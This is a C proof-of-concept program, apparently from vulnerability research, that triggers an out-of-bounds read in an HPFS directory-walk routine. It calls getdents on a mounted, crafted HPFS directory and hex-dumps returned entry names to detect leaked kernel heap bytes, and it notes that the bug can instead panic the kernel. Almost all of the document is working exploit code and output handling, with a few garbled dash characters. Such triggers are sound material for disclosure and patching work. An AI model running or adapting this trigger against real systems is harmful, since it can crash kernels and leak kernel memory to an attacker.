DF-0830 / poc.c
/* * DF-0830 โ HPFS readdir dep-walk OOB trigger + detector. * * Opens a mounted malicious HPFS directory and calls getdents. The dir * block has a dep whose de_reclen (0x0900) makes the kernel's dep pointer * walk 276 bytes past the 2 KB bread buffer. Depending on what kernel * memory lies past the buffer this produces: * (a) a kernel panic (page fault on unmapped OOB page), or * (b) a heap info-leak (OOB kernel bytes returned as dirent names). * * This program dumps whatever getdents returns. If it returns at all * (no panic), we scan the dirent names for non-ASCII / kernel-pointer- * looking bytes โ evidence of the OOB read. If it does NOT return, the * guest has panicked; the proof is in boot.log. * * Build: cc -o poc poc.c * Run: ./poc /mnt/hpfs */ #include <sys/types.h> #include <dirent.h> #include <fcntl.h> #ifndef _DIRENT_DIRSIZ #define _DIRENT_DIRSIZ(dp) \ ((__offsetof(struct dirent, d_name) + (dp)->d_namlen + 1 + 7) & ~7) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <inttypes.h> #ifndef DT_UNKNOWN #define DT_UNKNOWN 0 #endif int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs"; int fd, n, off, suspect = 0; char buf[16384]; printf("[*] opening %s O_RDONLY | O_DIRECTORY\n", mp); fd = open(mp, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 2; } printf("[*] calling getdents โ if the kernel panics here, check boot.log\n"); n = getdents(fd, buf, sizeof(buf)); if (n < 0) { perror("[!] getdents returned error"); return 1; } if (n == 0) { printf("[*] getdents returned 0 entries (EOF) โ no OOB observable\n"); return 1; } printf("[*] getdents returned %d bytes\n", n); for (off = 0; off < n;) { struct dirent *de = (struct dirent *)(buf + off); int namelen = de->d_namlen; int is_suspect = 0; printf(" ino=%-10lu type=%d namelen=%-3d name='", (unsigned long)de->d_fileno, de->d_type, namelen); for (int i = 0; i < namelen && i < 255; i++) { unsigned char c = (unsigned char)de->d_name[i]; if (c >= 32 && c < 127) putchar(c); else { printf("\\x%02x", c); is_suspect = 1; } } printf("'\n"); /* hex-dump suspicious names */ if (is_suspect || namelen > 40) { printf(" hex:"); for (int i = 0; i < namelen && i < 255; i++) printf(" %02x", (unsigned char)de->d_name[i]); printf("\n"); suspect++; } if (_DIRENT_DIRSIZ(de) == 0) break; /* safety */ off += _DIRENT_DIRSIZ(de); } if (suspect > 0) { printf("[!!!] DF-0830 CONFIRMED: %d dirent entries with non-ASCII " "or oversized names โ OOB kernel heap bytes leaked past the " "2 KB bread buffer via the unbounded dep-walk\n", suspect); return 0; } printf("[*] entries look clean โ OOB read may have hit the DE_END bit " "in adjacent memory (bug still present, just not observable here)\n"); return 1; } |